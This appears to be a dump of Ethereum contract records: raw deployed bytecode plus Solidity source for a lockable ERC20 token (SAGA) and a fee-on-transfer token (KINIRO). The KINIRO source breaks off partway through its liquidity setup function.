4811115610a6b57600080fd5b6000339050610ac282600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1a826001546114b590919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ce9576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7d565b610cfc83826114b590919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600481526020017f535441520000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4a57600080fd5b610f9c82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103182600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117482600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113be57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c157fe5b818303905092915050565b6000808284019050838110156114de57fe5b809150509291505056fea26469706673582212202283780d4743c4e0a5b74f3eadfeefdc113174c40584ce8582355c4cef3d1fea64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
8,329
0xab3a4b464d035e83b9904c18a2fdcdaaf75dcd42
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract SAGAToken is StandardToken, Ownable { string constant public name = "Smart Alliance-Grid Architecture Token"; string constant public symbol = "SAGA"; uint8 constant public decimals = 18; bool public isLocked = true; address public crowdSale; function SAGAToken() public { totalSupply = 4 * 10 ** (9+18); balances[owner] = totalSupply; } modifier illegalWhenLocked() { require(!isLocked || msg.sender == owner || msg.sender == crowdSale); _; } function distribute(address _realOwner, address _crowdSale) onlyOwner { transfer(_realOwner, totalSupply.div(2)); // real owner crowdSale = _crowdSale; transfer(_crowdSale, totalSupply.div(2)); // crowdSale address } // should be called by JoysoCrowdSale when crowdSale is finished function unlock() onlyOwner { isLocked = false; } function transfer(address _to, uint256 _value) illegalWhenLocked public returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) illegalWhenLocked public returns (bool) { return super.transferFrom(_from, _to, _value); } }
0x6080604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100f6578063095ea7b31461018657806318160ddd146101eb57806323b872dd14610216578063313ce5671461029b57806366188463146102cc57806370a08231146103315780637770bd15146103885780638da5cb5b146103df57806395d89b4114610436578063a18cd06c146104c6578063a4e2d63414610529578063a69df4b514610558578063a9059cbb1461056f578063d73dd623146105d4578063dd62ed3e14610639578063f2fde38b146106b0575b600080fd5b34801561010257600080fd5b5061010b6106f3565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014b578082015181840152602081019050610130565b50505050905090810190601f1680156101785780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019257600080fd5b506101d1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610753565b604051808215151515815260200191505060405180910390f35b3480156101f757600080fd5b50610200610845565b6040518082815260200191505060405180910390f35b34801561022257600080fd5b50610281600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061084b565b604051808215151515815260200191505060405180910390f35b3480156102a757600080fd5b506102b061092d565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102d857600080fd5b50610317600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610932565b604051808215151515815260200191505060405180910390f35b34801561033d57600080fd5b50610372600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bc3565b6040518082815260200191505060405180910390f35b34801561039457600080fd5b5061039d610c0c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103eb57600080fd5b506103f4610c32565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561044257600080fd5b5061044b610c58565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561048b578082015181840152602081019050610470565b50505050905090810190601f1680156104b85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104d257600080fd5b50610527600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c91565b005b34801561053557600080fd5b5061053e610d72565b604051808215151515815260200191505060405180910390f35b34801561056457600080fd5b5061056d610d85565b005b34801561057b57600080fd5b506105ba600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dfe565b604051808215151515815260200191505060405180910390f35b3480156105e057600080fd5b5061061f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ede565b604051808215151515815260200191505060405180910390f35b34801561064557600080fd5b5061069a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110da565b6040518082815260200191505060405180910390f35b3480156106bc57600080fd5b506106f1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611161565b005b606060405190810160405280602681526020017f536d61727420416c6c69616e63652d477269642041726368697465637475726581526020017f20546f6b656e000000000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b6000600360149054906101000a900460ff1615806108b65750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b8061090e5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561091957600080fd5b6109248484846112b9565b90509392505050565b601281565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610a43576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ad7565b610a56838261167890919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f534147410000000000000000000000000000000000000000000000000000000081525081565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ced57600080fd5b610d0c82610d07600260005461169190919063ffffffff16565b610dfe565b5080600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610d6d81610d68600260005461169190919063ffffffff16565b610dfe565b505050565b600360149054906101000a900460ff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610de157600080fd5b6000600360146101000a81548160ff021916908315150217905550565b6000600360149054906101000a900460ff161580610e695750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b80610ec15750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610ecc57600080fd5b610ed683836116ac565b905092915050565b6000610f6f82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118d090919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111bd57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156111f957600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156112f657600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561134457600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156113cf57600080fd5b61142182600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461167890919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114b682600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118d090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061158882600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461167890919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600082821115151561168657fe5b818303905092915050565b600080828481151561169f57fe5b0490508091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156116e957600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561173757600080fd5b61178982600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461167890919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061181e82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118d090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008082840190508381101515156118e457fe5b80915050929150505600a165627a7a72305820167aedaede4c0eb65f5c1abee7ddd09282688d8d23144f2672a972c504e2f0310029
{"success": true, "error": null, "results": {}}
8,330
0x846da6c07d7eb7130a87fcb40ec8e24e7f032104
//SPDX-License-Identifier: UNLICENSED /* /$$ /$$ /$$$$$$ /$$ /$$ /$$$$$$ /$$$$$$$ /$$$$$$ /$$$$$$$ /$$$$$$ /$$ /$$ /$$ /$$ | $$ /$$/|_ $$_/| $$$ | $$|_ $$_/| $$__ $$ /$$__ $$ | $$__ $$ /$$__ $$| $$$ | $$| $$ /$$/ | $$ /$$/ | $$ | $$$$| $$ | $$ | $$ \ $$| $$ \ $$ | $$ \ $$| $$ \ $$| $$$$| $$| $$ /$$/ | $$$$$/ | $$ | $$ $$ $$ | $$ | $$$$$$$/| $$ | $$ | $$$$$$$ | $$$$$$$$| $$ $$ $$| $$$$$/ | $$ $$ | $$ | $$ $$$$ | $$ | $$__ $$| $$ | $$ | $$__ $$| $$__ $$| $$ $$$$| $$ $$ | $$\ $$ | $$ | $$\ $$$ | $$ | $$ \ $$| $$ | $$ | $$ \ $$| $$ | $$| $$\ $$$| $$\ $$ | $$ \ $$ /$$$$$$| $$ \ $$ /$$$$$$| $$ | $$| $$$$$$/ | $$$$$$$/| $$ | $$| $$ \ $$| $$ \ $$ |__/ \__/|______/|__/ \__/|______/|__/ |__/ \______/ |_______/ |__/ |__/|__/ \__/|__/ \__/ https://kinirobank.com/ https://t.me/kinirobank */ pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract KINIRO is Context, IERC20, Ownable { mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint private constant _totalSupply = 1e11 * 10**9; string public constant name = unicode"Kiniro Bank"; string public constant symbol = unicode"KINIRO"; uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable public _MarketingWallet; address public uniswapV2Pair; uint public _bFee = 8; uint public _sFee = 12; uint private _feeRate = 15; uint public _maxBuyTokens; uint public _maxWallet; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap = false; bool private _removedTxnLimit = false; bool public _useImpactFeeSetter = false; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event MarketingWalletUpdated(address _taxwallet); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor (address payable MarketingWallet) { _MarketingWallet = MarketingWallet; _owned[address(this)] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[MarketingWallet] = true; emit Transfer(address(0), address(this), _totalSupply); } function balanceOf(address account) public view override returns (uint) { return _owned[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public pure override returns (uint) { return _totalSupply; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { _transfer(sender, recipient, amount); uint allowedAmount = _allowances[sender][_msgSender()] - amount; _approve(sender, _msgSender(), allowedAmount); return true; } function _approve(address owner, address spender, uint amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint amount) private { require(!_isBot[from]); require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool isBuy = false; if(from != owner() && to != owner()) { if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(_tradingOpen, "Trading not yet enabled."); if((_launchedAt + (3 minutes)) > block.timestamp && _removedTxnLimit ) { require(amount <= _maxBuyTokens); require((amount + balanceOf(address(to))) <= _maxWallet); } isBuy = true; } if(!_inSwap && _tradingOpen && from != uniswapV2Pair) { uint contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0) { if(_useImpactFeeSetter) { if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) { contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100; } } swapTokensForEth(contractTokenBalance); } uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } isBuy = false; } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee,isBuy); } function swapTokensForEth(uint tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint amount) private { _MarketingWallet.transfer(amount); } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { (uint fee) = _getFee(takefee, buy); _transferStandard(sender, recipient, amount, fee); } function _getFee(bool takefee, bool buy) private view returns (uint) { uint fee = 0; if(takefee) { if(buy) { fee = _bFee; } else { fee = _sFee; } } return fee; } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { (uint transferAmount, uint team) = _getValues(amount, fee); _owned[sender] = _owned[sender] - amount; _owned[recipient] = _owned[recipient] + transferAmount; _takeTeam(team); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { uint team = (amount * teamFee) / 100; uint transferAmount = amount - team; return (transferAmount, team); } function _takeTeam(uint team) private { _owned[address(this)] = _owned[address(this)] + team; } receive() external payable {} function createPair() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); IUniswapV2Router02 _uniswapV2Router = 